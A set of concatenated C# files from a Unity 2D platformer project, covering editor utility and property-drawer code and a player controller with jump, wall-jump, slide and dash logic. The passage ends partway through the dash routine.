#region Monobehaviour
private void Awake()
{
// Singleton set.
if (!Instance)
Instance = this;
else
Destroy(this);
}
private void Update()
{
if (GameManager.Instance.IsGamePaused)
return;
// Call all registered interface updates.
int _i;
for (_i = 0; _i < inputUpdates.Count; _i++)
inputUpdates[_i].Update();
for (_i = 0; _i < updates.Count; _i++)
updates[_i].Update();
for (_i = 0; _i < physicsUpdates.Count; _i++)
physicsUpdates[_i].Update();
for (_i = 0; _i < movableUpdates.Count; _i++)
movableUpdates[_i].Update();
for (_i = 0; _i < cameraUpdates.Count; _i++)
cameraUpdates[_i].Update();
}
#endregion
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Utility/EditorGUIUtilityEnhanced.cs
using System;
using System.Reflection;
using UnityEngine;
using UnityEditor;
using Object = UnityEngine.Object;
namespace EnhancedEditor.Editor
{
/// <summary>
/// Multiple utility methods and properties related to the <see cref="EnhancedEditor"/> plugin.
/// </summary>
public static class EditorGUIUtilityEnhanced
{
#region Fields / Properties
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Default height used to draw help boxes.
/// </summary>
public const int DefaultHelpBoxHeight = 38;
/// <summary>
/// Space on each side of the sections label (in pixels).
/// </summary>
public const int SpaceAroundSectionLabel = 5;
/// <summary>
/// Separator width used for fields draw.
/// </summary>
public const int StandardHorizontalSeparator = 5;
/****************************
******* PROPERTY *******
***************************/
/// <summary>
/// GUIStyle used to draw section label.
/// </summary>
public static GUIStyle SectionLabelStyle { get { return EditorStyles.boldLabel; } }
#endregion
#region Methods
#region GUIContent
/// <summary>
/// Get appropriated GUIContent label from a serialized property.
/// </summary>
/// <param name="_property">Property to get label.</param>
/// <returns>Returns property associated GUIContent label.</returns>
public static GUIContent GetPropertyLabel(SerializedProperty _property) => new GUIContent(ObjectNames.NicifyVariableName(_property.name), _property.tooltip);
#endregion
#region Serialized Properties Informations
/*****************************************
***** SERIALIZED PROPERTIES INFOS *****
*****************************************/
/// <summary>
/// Get the height used to draw an asset preview property field.
/// </summary>
/// <param name="_property">Property to use.</param>
/// <param name="_foldout">Shown asset preview foldout state.</param>
/// <param name="_previewAspect">Asset preview aspect.</param>
/// <returns>Returns height value to draw associated asset preview property field.</returns>
public static float GetAssetPreviewPropertyHeight(SerializedProperty _property, bool _foldout, float _previewAspect)
{
float _height = EditorGUIUtility.singleLineHeight;
if (_property.propertyType != SerializedPropertyType.ObjectReference) _height += EditorGUIUtility.standardVerticalSpacing + DefaultHelpBoxHeight;
else if (_foldout && GetAssetPreview(_property)) _height += EditorGUIUtility.standardVerticalSpacing + _previewAspect;
return _height;
}
/// <summary>
/// Get the height used to draw a required property field.
/// </summary>
/// <param name="_property">Property to use.</param>
/// <returns>Returns height value to draw associated required property field.</returns>
public static float GetRequiredPropertyHeight(SerializedProperty _property)
{
float _height = EditorGUIUtility.singleLineHeight;
if (IsPropertyRequired(_property))
_height += EditorGUIUtility.standardVerticalSpacing + DefaultHelpBoxHeight;
return _height;
}
/// <summary>
/// Get if a property is marked as "required" or not.
/// Required property are object refrence type with no value.
/// </summary>
/// <param name="_property">Property to check.</param>
/// <returns>Returns true if property type is object reference and its value is not set, false otherwise.</returns>
public static bool IsPropertyRequired(SerializedProperty _property)
{
return (_property.propertyType == SerializedPropertyType.ObjectReference) && !_property.objectReferenceValue;
}
#endregion
#region Serialized Properties Attributes
/*******************************************
*** SERIALIZED PROPERTIES ATTRIBUTES ***
******************************************/
/// <summary>
/// Get the asset preview texture from the property object reference.
/// </summary>
/// <param name="_property">Property to get asset preview texture from.</param>
/// <returns>Returns property object reference preview texture if exist, null if none or wrong property type.</returns>
public static Texture2D GetAssetPreview(SerializedProperty _property) => _property.objectReferenceValue ? AssetPreview.GetAssetPreview(_property.objectReferenceValue) : null;
/// <summary>
/// Get the single value of a property.
/// </summary>
/// <param name="_property">Property to get value from.</param>
/// <param name="_value">Property value (0 if property type is not compatible).</param>
/// <returns>Returns false if single value could not be get from property, true otherwise.</returns>
public static bool GetPropertyValueAsSingle(SerializedProperty _property, out float _value)
{
// Try to get property value
// If property type is not compatible with single, return false
switch (_property.propertyType)
{
case SerializedPropertyType.Enum:
_value = _property.enumValueIndex;
break;
case SerializedPropertyType.Integer:
_value = _property.intValue;
break;
case SerializedPropertyType.Float:
_value = _property.floatValue;
break;
default:
// Not matching type
_value = 0;
return false;
}
// If get property value correctly, return true
return true;
}
#endregion
#region Reflection
/****************************************
*** SERIALIZED OBJECT REFLECTION ***
***************************************/
/// <summary>
/// Get single type value of a field or a property from a serialized object.
/// </summary>
/// <param name="_object">Serialized object to get value from.</param>
/// <param name="_memberName">Name of the member to get value (field or property).</param>
/// <param name="_value">Get member value.</param>
/// <returns>Returns false if member value cannot be converted to single, true otherwise.</returns>
public static bool GetSerializedObjectFieldOrPropertyValueAsSingle(SerializedObject _object, string _memberName, out float _value)
{
// Get member value
object _memberValue = GetSerializedObjectFieldOrPropertyValue(_object, _memberName);
if (_memberName != null)
{
// Try to convert indicated maximum variable value to single
try
{
_value = Convert.ToSingle(_memberValue);
return true;
}
// If wrong type, return false
catch (Exception _exception)
{
if (!(_exception is FormatException) && !(_exception is InvalidCastException)) throw;
}
}
// Set value to zero and return false
_value = 0;
return false;
}
/// <summary>
/// Get the value of a field or a property from a serialized object.
/// </summary>
/// <param name="_object">Serialized object to get value from.</param>
/// <param name="_memberName">Name of the member to get value (field or property).</param>
/// <returns>Returns field or property value from given name or null if nothing is found.</returns>
public static object GetSerializedObjectFieldOrPropertyValue(SerializedObject _object, string _memberName)
{
// Try to find field
FieldInfo _field = FindSerializedObjectField(_object, _memberName);
if (_field != null) return _field.GetValue(_object.targetObject);
// Try to find property
PropertyInfo _property = FindSerializedObjectProperty(_object, _memberName);
if (_property != null) return _property.GetValue(_object.targetObject);
// If nothing is found, return null
return null;
}
/// <summary>
/// Retrieves a field from a given serialized object.
/// </summary>
/// <param name="_object">Serialized object to get field from.</param>
/// <param name="_fieldName">Name of the field to find.</param>
/// <returns>Returns the field info from the given field name if founded, null otherwise.</returns>
public static FieldInfo FindSerializedObjectField(SerializedObject _object, string _fieldName)
{
Type _type = _object.targetObject.GetType();
FieldInfo _info = null;
while (_type != null)
{
_info = _type.GetField(_fieldName,
BindingFlags.GetField | BindingFlags.Instance |
BindingFlags.Public | BindingFlags.NonPublic |
BindingFlags.Static);
if (_info != null) break;
_type = _type.BaseType;
}
return _info;
}
/// <summary>
/// Retrieves a property from a given serialized object.
/// </summary>
/// <param name="_object">Serialized object to get property from.</param>
/// <param name="_propertyName">Name of the property to find.</param>
/// <returns>Returns the property info from the given property name if founded, null otherwise.</returns>
public static PropertyInfo FindSerializedObjectProperty(SerializedObject _object, string _propertyName)
{
Type _type = _object.targetObject.GetType();
PropertyInfo _info = null;
while (_type != null)
{
_info = _type.GetProperty(_propertyName,
BindingFlags.GetProperty | BindingFlags.Instance |
BindingFlags.Public | BindingFlags.NonPublic |
BindingFlags.Static);
if (_info != null) break;
_type = _type.BaseType;
}
return _info;
}
/// <summary>
/// Set the value of a property (not a field) from a serialized object.
/// </summary>
/// <param name="_property">Serialized property used to get value from and find property.</param>
/// <param name="_propertyName">Name of the property to set.</param>
public static void SetPropertyValue(SerializedProperty _property, string _propertyName) => SetPropertyValue(_property.serializedObject, _propertyName, GetSerializedObjectFieldOrPropertyValue(_property.serializedObject, _property.name));
/// <summary>
/// Set the value of a property (not a field) from a serialized object.
/// </summary>
/// <param name="_object">Serialized object to find property from.</param>
/// <param name="_propertyName">Name of the property to set.</param>
/// <param name="_value">Property value.</param>
public static void SetPropertyValue(SerializedObject _object, string _propertyName, object _value)
{
// Get property info
PropertyInfo _propertyInfo = FindSerializedObjectProperty(_object, _propertyName);
// If not null, set property for each editing object
if (_propertyInfo != null)
{
foreach (Object _target in _object.targetObjects)
{
// Try to set property and catch mismatching type exception
try
{
_propertyInfo.SetValue(_target, _value);
}
catch (ArgumentException)
{
Debug.LogWarning($"Value \"{_value}\" could not be assigned to property \"{_propertyName}\" on \"{_target.GetType()}\" script from \"{_target.name}\".");
}
}
}
// Debug if property wasn't found
else Debug.LogWarning($"Property \"{_propertyName}\" could not be found in the \"{_object.targetObject.GetType()}\" script from \"{_object.targetObject.name}\".");
}
#endregion
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/PropertyFieldAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class PropertyFieldAttribute : PropertyAttribute
{
#region Fields
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Name of the property to set when changing field value.
/// </summary>
public readonly string PropertyName = string.Empty;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// When this field value is changed, set linked property value to it.
/// Default property is field name as PascalCase.
/// </summary>
public PropertyFieldAttribute() { }
/// <summary>
/// When this field value is changed, set linked property value to it.
/// </summary>
/// <param name="_propertyName">Name of the property to link.</param>
public PropertyFieldAttribute(string _propertyName)
{
PropertyName = _propertyName;
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/AssetPreviewPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(AssetPreviewAttribute))]
public class AssetPreviewPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetPropertyHeight(SerializedProperty _property, GUIContent _label)
{
AssetPreviewAttribute _attribute = (AssetPreviewAttribute)attribute;
return EditorGUIUtilityEnhanced.GetAssetPreviewPropertyHeight(_property, _attribute.Fodlout, _attribute.Aspect);
}
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
AssetPreviewAttribute _attribute = (AssetPreviewAttribute)attribute;
_attribute.Fodlout = EditorGUIEnhanced.AssetPreviewField(_position, _property, _label, _attribute.Fodlout);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/RequiredPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(RequiredAttribute))]
public class RequiredPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetPropertyHeight(SerializedProperty _property, GUIContent _label)
{
return EditorGUIUtilityEnhanced.GetRequiredPropertyHeight(_property);
}
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
EditorGUIEnhanced.RequiredProperty(_position, _property, _label);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/ProgressBarPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(ProgressBarAttribute))]
public class ProgressBarPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetPropertyHeight(SerializedProperty _property, GUIContent _label)
{
ProgressBarAttribute _attribute = (ProgressBarAttribute)attribute;
return _attribute.Height;
}
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
ProgressBarAttribute _attribute = (ProgressBarAttribute)attribute;
// Set label if needed
if (!string.IsNullOrEmpty(_attribute.Label)) _label.text = _attribute.Label;
// Draw editable or readonly progress bar
if (_attribute.IsEditable)
{
if (string.IsNullOrEmpty(_attribute.MaxValueVariableName)) EditorGUIEnhanced.EditableProgressBar(_position, _label, _property, _attribute.MaxValue, _attribute.Color.GetColor());
else EditorGUIEnhanced.EditableProgressBar(_position, _label, _property, _attribute.MaxValueVariableName, _attribute.Color.GetColor());
}
else
{
if (string.IsNullOrEmpty(_attribute.MaxValueVariableName)) EditorGUIEnhanced.ProgressBar(_position, _label, _property, _attribute.MaxValue, _attribute.Color.GetColor());
else EditorGUIEnhanced.ProgressBar(_position, _label, _property, _attribute.MaxValueVariableName, _attribute.Color.GetColor());
}
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/PropertyFieldPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(PropertyFieldAttribute))]
public class PropertyFieldPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
// Get linked property name
PropertyFieldAttribute _attribute = (PropertyFieldAttribute)attribute;
string _propertyName = string.IsNullOrEmpty(_attribute.PropertyName) ?
(char.ToUpper(_property.name[0]) + _property.name.Substring(1)) :
_attribute.PropertyName;
// Draw field
EditorGUIEnhanced.PropertyField(_position, _property, _label, _propertyName);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/OverridePropertyDrawer/AnimationCurvePropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(AnimationCurve))]
public class AnimationCurvePropertyDrawer : PropertyDrawer
{
#region Fields
/**************************
******* BUFFER *******
*************************/
/// <summary>
/// Buffer used to copy / paste animation curve.
/// </summary>
private static AnimationCurve curveBuffer = null;
#endregion
#region Methods
/*****************************
***** UNITY METHODS *****
****************************/
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
// Add copy / paste options on right click menu
Event _event = Event.current;
if ((_event.type == EventType.MouseDown) && (_event.button == 1) && (_position.Contains(_event.mousePosition)))
{
// Copy menu item
GenericMenu _menu = new GenericMenu();
GenericMenu.MenuFunction _copy = () => curveBuffer = _property.animationCurveValue;
_menu.AddItem(new GUIContent("Copy", "Copy this animation curve properties"), false, _copy);
// Paste menu item
GUIContent _pasteContent = new GUIContent("Paste", "Paste copied animation curve properties");
if (curveBuffer == null)
_menu.AddDisabledItem(_pasteContent);
else
{
GenericMenu.MenuFunction _paste = () =>
{
if (curveBuffer == null) return;
_property.animationCurveValue = curveBuffer;
_property.serializedObject.ApplyModifiedProperties();
};
_menu.AddItem(_pasteContent, false, _paste);
}
// Show menu
_menu.ShowAsContext();
_event.Use();
}
// Draw property field
EditorGUI.PropertyField(_position, _property, _label);
}
#endregion
}
}
<file_sep>/Assets/Scripts/Player/PlayerController.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// Inputs management should be replaced by using
// the new Input System, at some point.
//
// ========================================================================== //
using EnhancedEditor;
using System;
using System.Collections;
using UnityEngine;
namespace Nowhere
{
/// <summary>
/// Used to know if the player is stuck to a wall.
/// </summary>
public enum WallStuck
{
Left = -1,
None,
Right
}
public class PlayerController : Movable, IInputUpdate
{
#region Fields / Properties
[HorizontalLine(1, order = 0), Section("PLAYER CONTROLLER", 50, 0, order = 1), HorizontalLine(2, SuperColor.Chocolate, order = 2)]
[SerializeField, Required] private PlayerControllerAttributes attributes = null;
[SerializeField, Required] private Animator animator = null;
[HorizontalLine(2, SuperColor.Raspberry)]
[SerializeField, PropertyField] private bool isPlayable = true;
public bool IsPlayable
{
get { return isPlayable; }
set
{
#if UNITY_EDITOR
if (!Application.isPlaying) return;
#endif
if (value != isPlayable)
{
isPlayable = value;
StopSlide();
// Manage input update registration.
if (value)
UpdateManager.Instance.Register((IInputUpdate)this);
else
UpdateManager.Instance.Unregister((IInputUpdate)this);
}
}
}
// -----------------------
[SerializeField, ReadOnly] private bool isMoving = false;
[SerializeField, ReadOnly] private bool isJumping = false;
[SerializeField, ReadOnly] private bool isDashing = false;
[SerializeField, ReadOnly] private bool isSliding = false;
[SerializeField, ReadOnly] private bool isCrouched = false;
[SerializeField, ReadOnly] private bool isAtJumpPeek = false;
[SerializeField, ReadOnly] private WallStuck wallStuckState = WallStuck.None;
public WallStuck WallStuckState
{
get { return wallStuckState; }
private set
{
wallStuckState = value;
animator.SetBool(anim_IsWallStuckID, value != 0);
}
}
[SerializeField, ReadOnly, HelpBox("Last movement of the player on the X axis", HelpBoxType.Info)]
private float lastMovement = 0;
// -----------------------
private readonly int anim_GroundStateID = Animator.StringToHash("GroundState");
private readonly int anim_IsMovingID = Animator.StringToHash("IsMoving");
private readonly int anim_IsWallStuckID = Animator.StringToHash("IsWallStuck");
private readonly int anim_JumpID = Animator.StringToHash("Jump");
private readonly int anim_SlideID = Animator.StringToHash("IsSliding");
private readonly int anim_CrouchID = Animator.StringToHash("IsCrouched");
private float coyoteTimeVar = 0;
private float jumpBufferVar = 0;
private float SlideBufferVar = 0;
#endregion
#region Methods
#region Inputs
/// <summary>
/// Check player inputs and execute movement or other actions.
/// </summary>
void IInputUpdate.Update()
{
float _movement = Input.GetAxis("Horizontal");
if (_movement != 0 && !isSliding)
{
MoveHorizontally(_movement);
PlayerCamera.Instance.SetFacingSide(Mathf.Sign(_movement));
}
// Jump.
if (Input.GetKeyDown(KeyCode.Space) || Input.GetKeyDown(KeyCode.Joystick1Button0))
{
if (!Jump())
jumpBufferVar = Time.time;
}
// Dash.
if (Input.GetKeyDown(KeyCode.Q) || Input.GetKeyDown(KeyCode.Joystick1Button2))
{
Dash();
return;
}
// Slide & Crouch.
if ((Input.GetKeyDown(KeyCode.C) || Input.GetKeyDown(KeyCode.Joystick1Button1)) &&
(Mathf.Abs(lastMovement + force.x) > attributes.SlideRequiredVelocity))
{
if (!Slide())
SlideBufferVar = Time.time;
}
if (isGrounded && !isSliding)
{
if (Input.GetKey(KeyCode.C) || Input.GetKey(KeyCode.Joystick1Button1))
{
if (!isCrouched)
Crouch();
}
else if (isCrouched)
{
GetUp();
}
}
// ---------- Cheat Codes ---------- //
if (Input.GetKeyDown(KeyCode.Joystick1Button3) || Input.GetKeyDown(KeyCode.F))
AddForce(new Vector2(facingSide * 20, 0));
if (Input.GetKeyDown(KeyCode.R))
UnityEngine.SceneManagement.SceneManager.LoadScene(0, UnityEngine.SceneManagement.LoadSceneMode.Single);
}
private bool ConsumeJumpBuffer()
{
if ((Time.time - jumpBufferVar < attributes.JumpBufferTime) &&
(Input.GetKey(KeyCode.Space) || Input.GetKey(KeyCode.Joystick1Button0)))
{
return Jump();
}
return false;
}
#endregion
#region Flip
/// <summary>
/// Flip the object (face opposite side).
/// </summary>
public override void Flip()
{
// Don't flip while stuck to a wall.
if (wallStuckState == 0)
base.Flip();
}
#endregion
#region Velocity
private float speedCurveVarTime = 0;
protected override void MoveHorizontally(float _movement)
{
// Increase speed according to curve.
if (_movement != 0)
{
speed = AnimationCurveUtility.IncreaseValue(attributes.SpeedCurve, speed, ref speedCurveVarTime, isGrounded ? 1 : attributes.AirSpeedAccelCoef);
_movement *= speed;
if (isCrouched)
_movement *= attributes.CrouchSpeedCoef;
base.MoveHorizontally(_movement);
}
}
private void ResetMovement()
{
movement.x = lastMovement = speed = speedCurveVarTime = 0;
}
// -----------------------
/// <summary>
/// Get the object velocity movement for this frame.
/// </summary>
protected override Vector2 GetVelocity()
{
// Apply half gravity when at jump peek.
if (isAtJumpPeek && (force.y < 0))
{
return (new Vector2(force.x, force.y / 2f) + instantForce + movement) * speedCoef * Time.deltaTime;
}
return base.GetVelocity();
}
// -----------------------
bool isGoingOppositeSide = false;
protected override void ComputeVelocityBeforeMovement()
{
// When going in opposite direction from previous movement, transit to it.
if (isGoingOppositeSide || ((lastMovement != 0) && !Mathm.HaveDifferentSign(lastMovement - movement.x, lastMovement)))
{
isGoingOppositeSide = true;
// About-Turn.
if ((movement.x != 0) && Mathm.HaveDifferentSign(lastMovement, movement.x))
{
float _coef = isGrounded ? attributes.GroundAboutTurnAccel : attributes.AirAboutTurnAccel;
movement.x = Mathf.MoveTowards(lastMovement, movement.x, speed * Time.deltaTime * _coef);
}
// Deceleration.
else if (lastMovement != movement.x)
{
float _coef = isGrounded ? attributes.GroundMovementDecel : attributes.AirMovementDecel;
movement.x = Mathf.MoveTowards(lastMovement, movement.x, Time.deltaTime * _coef);
}
else
{
isGoingOppositeSide = false;
}
}
lastMovement = movement.x;
base.ComputeVelocityBeforeMovement();
}
#endregion
#region Physics
protected override void PhysicsUpdate()
{
// Apply a coefficient to gravity when :
// • Stuck to a wall
// • At jump peek.
if ((wallStuckState != 0) && !isJumping)
AddGravity(attributes.WallStuckGravityCoef, attributes.WallStuckMinGravityCoef);
else if (isAtJumpPeek)
AddGravity(.5f, 1);
else if (!isDashing)
base.PhysicsUpdate();
}
#endregion
#region Walls
private void CheckWallStatus()
{
WallStuck _state = WallStuck.None;
// Get first cast direction.
float _direction = (wallStuckState == 0) ? Mathf.Sign(movement.x + force.x) : (int)wallStuckState;
Vector2 _movement = new Vector2(_direction * Physics2D.defaultContactOffset * 2.5f, 0);
// Perform cast in given direction, and opposite one if nothing is hit.
if (!CastForWall())
{
_direction *= -1;
_movement.x *= -1;
CastForWall();
}
if (wallStuckState != _state)
{
// Face wall opposite side.
if (_state != 0)
{
Flip(-(int)_state);
transform.rotation = Quaternion.identity;
ResetMovement();
ConsumeJumpBuffer();
}
WallStuckState = _state;
}
// Set wall state when hitting a vertical collider.
bool CastForWall()
{
if (CastCollider(_movement, out RaycastHit2D _hit))
{
if (_hit.normal.x == -_direction)
_state = (WallStuck)_direction;
return true;
}
return false;
}
}
#endregion
#region Freeze
private Coroutine freezeCoroutine = null;
/// <summary>
/// Freeze the player for a certain duration.
/// </summary>
private void Freeze(float _duration)
{
if (freezeCoroutine != null)
StopCoroutine(freezeCoroutine);
freezeCoroutine = StartCoroutine(DoFreeze(_duration));
}
private IEnumerator DoFreeze(float _duration)
{
WaitForSeconds _wait = new WaitForSeconds(_duration);
IsPlayable = false;
yield return _wait;
IsPlayable = true;
freezeCoroutine = null;
}
#endregion
#region Movements
protected override void MovableUpdate()
{
if (!isGrounded)
CheckWallStatus();
base.MovableUpdate();
if (isJumping)
{
// Code
}
if (isSliding)
{
// Code
}
}
// -----------------------
private bool hasJustLanded = false;
/// <summary>
/// Called after velocity has been applied.
/// </summary>
protected override void OnAppliedVelocity(Vector2 _movement)
{
base.OnAppliedVelocity(_movement);
hasJustLanded = false;
// Player moving state.
bool _isMoving = (lastMovement != 0) && (Mathf.Abs(_movement.x) > .0001f);
if (isMoving != _isMoving)
{
isMoving = _isMoving;
animator.SetBool(anim_IsMovingID, _isMoving);
if (!_isMoving)
StopSlide();
}
// Reset movement if not moving.
if (!_isMoving && (speed > 0))
ResetMovement();
// Set animator ground state.
if (!isGrounded)
animator.SetInteger(anim_GroundStateID, _movement.y < 0 ? -1 : 1);
// Stop jumping when hurting horizontal surfaces.
if (isJumping)
{
for (int _i = 0; _i < castBufferCount; _i++)
{
if (castBuffer[_i].normal.y == -1)
{
StopJump();
break;
}
}
}
// Stop dash if needed.
if (isDashing)
{
for (int _i = 0; _i < castBufferCount; _i++)
{
if (Mathf.Abs(castBuffer[_i].normal.x) == 1)
{
StopDash();
break;
}
}
}
// Air rotation.
if (!isGrounded && wallStuckState == 0)
{
Quaternion _rotation;
if (_movement.x == 0)
_rotation = Quaternion.identity;
else
_rotation = Quaternion.Euler(0, 0, (Math.Sign(_movement.y) > 0 ? -7.5f : 12.5f) * Math.Sign(_movement.x));
transform.rotation = Quaternion.RotateTowards(transform.rotation, _rotation, Time.deltaTime * 200);
}
}
/// <summary>
/// Called when grounded value has been set.
/// </summary>
protected override void OnSetGrounded()
{
base.OnSetGrounded();
if (isGrounded)
{
hasJustLanded = true;
StopJump();
if (wallStuckState != WallStuck.None)
WallStuckState = WallStuck.None;
transform.rotation = Quaternion.identity;
animator.SetInteger(anim_GroundStateID, 0);
if (!ConsumeJumpBuffer() && (Time.time - SlideBufferVar < attributes.SlideBufferTime) &&
(Input.GetKey(KeyCode.C) || Input.GetKey(KeyCode.Joystick1Button1)) &&
(Mathf.Abs(lastMovement + force.x) > attributes.SlideRequiredVelocity))
{
Slide();
}
}
// Set last time the player left a platform.
else
{
GetUp();
coyoteTimeVar = Time.time;
}
}
#endregion
#region Jump
private Coroutine jumpCoroutine = null;
private bool Jump()
{
// Perform wall jump if against one.
if (wallStuckState != WallStuck.None)
{
StopSlide();
if (isJumping)
StopCoroutine(jumpCoroutine);
jumpCoroutine = StartCoroutine(WallJump());
return true;
}
// Perform a normal jump if on ground or was recently.
if (isGrounded || (((Time.time - coyoteTimeVar) < attributes.CoyoteTime)) && !isJumping)
{
StopSlide();
jumpCoroutine = StartCoroutine(HighJump());
return true;
}
// Try to perform wall jump, if near to a wall.
float _direction = facingSide * ((Physics2D.defaultContactOffset * 2) + attributes.WallJumpGap);
if (CastCollider(new Vector2(_direction, 0), out RaycastHit2D _hit) || CastCollider(new Vector2(_direction *= -1, 0), out _hit))
{
// Set corresponding wall stuck state.
WallStuckState = (WallStuck)Mathf.Sign(_direction);
StopSlide();
if (isJumping)
StopCoroutine(jumpCoroutine);
jumpCoroutine = StartCoroutine(WallJump());
return true;
}
return false;
}
private IEnumerator HighJump()
{
isJumping = true;
animator.SetTrigger(anim_JumpID);
// If moving, add extra X velocity to the player.
if (movement.x != 0)
MoveHorizontally(facingSide * .5f);
AddForce(new Vector2(movement.x * .5f, 0));
// Perform jump over time following the curve.
float _time = 0;
float _limit = attributes.HighJumpCurve[attributes.HighJumpCurve.length - 1].time;
float _treshold = _limit * .7f;
bool _isHolding = true;
// While holding the jump button and havn't reached jump maximum duration,
// add more vertical velocity!
while (_time < _limit)
{
// Move up.
MoveVertically(attributes.HighJumpCurve.Evaluate(_time));
// If releasing jump button before max duration,
// continue adding some intertia.
if (_isHolding)
{
if (!Input.GetKey(KeyCode.Space) && !Input.GetKey(KeyCode.Joystick1Button0))
{
_isHolding = false;
if (_time < _treshold)
_time = _treshold;
if (isAtJumpPeek)
isAtJumpPeek = false;
}
// Set if at jump peek when holding button and force is negative.
else if ((force.y + instantForce.y) < 0)
{
// When holding jump button at the top of the jump, apply half gravity.
float _difference = movement.y + force.y + instantForce.y;
if (_difference > 0 && _difference < attributes.JumpPeekDifference)
isAtJumpPeek = true;
else
isAtJumpPeek = false;
}
else if (isAtJumpPeek)
isAtJumpPeek = false;
}
yield return null;
_time = Mathf.Min(_time + Time.deltaTime, _limit);
}
isJumping = false;
isAtJumpPeek = false;
jumpCoroutine = null;
}
private IEnumerator WallJump()
{
isJumping = true;
int _wallState = (int)wallStuckState;
// Trigger animation.
animator.SetTrigger(anim_JumpID);
// When performing a wall jump, add opposite side X velocity.
ResetMovement();
Freeze(.065f + Time.deltaTime);
force.x = 0;
// Wait one frame to let all horizontal velocity being reset.
yield return null;
if (force.y < 0) force.y *= .25f;
AddForce(new Vector2(attributes.WallJumpHorizontalForce * _wallState, 0));
// Perform jump over time following the curve.
float _time = 0;
float _limit = attributes.WallJumpCurve[attributes.WallJumpCurve.length - 1].time;
float _treshold = _limit * .7f;
bool _isHolding = true;
// While holding the jump button and havn't reached jump maximum duration,
// add more vertical velocity !
while (_time < _limit)
{
// Move up
MoveVertically(attributes.WallJumpCurve.Evaluate(_time));
// If releasing jump button before max duration,
// continue adding some intertia.
if (_isHolding)
{
if (!Input.GetKey(KeyCode.Space) && !Input.GetKey(KeyCode.Joystick1Button0))
{
_isHolding = false;
if (_time < _treshold)
_time = _treshold;
if (isAtJumpPeek)
isAtJumpPeek = false;
}
// Set if at jump peek when holding button and force is negative.
else if ((force.y + instantForce.y) < 0)
{
// When holding jump button at the top of the jump, apply half gravity.
float _difference = movement.y + force.y + instantForce.y;
if (_difference > 0 && _difference < attributes.JumpPeekDifference)
isAtJumpPeek = true;
else
isAtJumpPeek = false;
}
else if (isAtJumpPeek)
isAtJumpPeek = false;
}
yield return null;
_time = Mathf.Min(_time + Time.deltaTime, _limit);
}
isJumping = false;
isAtJumpPeek = false;
jumpCoroutine = null;
}
public void StopJump()
{
if (isJumping)
{
isJumping = false;
isAtJumpPeek = false;
StopCoroutine(jumpCoroutine);
jumpCoroutine = null;
}
}
#endregion
#region Dash
private Coroutine dashCoroutine = null;
private void Dash()
{
if (wallStuckState == 0)
{
StopJump();
StopSlide();
dashCoroutine = StartCoroutine(DoDash());
}
}
private IEnumerator DoDash()
{
isDashing = true;
IsPlayable = false;
force.y = 0;
float _side = movement.x != 0 ? Mathf.Sign(movement.x) : facingSide;
float _boostDuration = attributes.DashDuration * (attributes.DashBoostPercent / 100f);
float _boostTransitDuration = attributes.DashDuration * (attributes.DashBoostTransitPercent / 100f);
float _breakDuration = attributes.DashDuration * (attributes.DashBreakPercent / 100f);
float _breakTransitDuration = attributes.DashDuration * (attributes.DashBreakTransitPercent / 100f);
float _normalDuration = attributes.DashDuration - (_boostDuration + _boostTransitDuration + _breakDuration + _breakTransitDuration);
int _step = 0;
float _time = 0;
float _speed = attributes.DashBoostSpeed;
yield return null;
bool _loop = true;
while (_loop)
{
switch (_step)
{
case 0:
if (_time > _boostDuration)
{
_time -= _boostDuration;
AddInstantForce(new Vector2(_side * _speed * -(_time - Time.deltaTime), 0));
_step = 1;
continue;
}
break;
case 1:
_speed = Mathf.SmoothStep(attributes.DashBoostSpeed, attributes.DashNormalSpeed, _time / _boostTransitDuration);
if (_time > _boostTransitDuration)
{
_time -= _boostTransitDuration;
AddInstantForce(new Vector2(_side * _speed * -(_time - Time.deltaTime), 0));
_step = 2;
continue;
}
break;
case 2:
if (_time > _normalDuration)
{
_time -= _normalDuration;
AddInstantForce(new Vector2(_side * _speed * -(_time - Time.deltaTime), 0));
_step = 3;
continue;
}
break;
case 3:
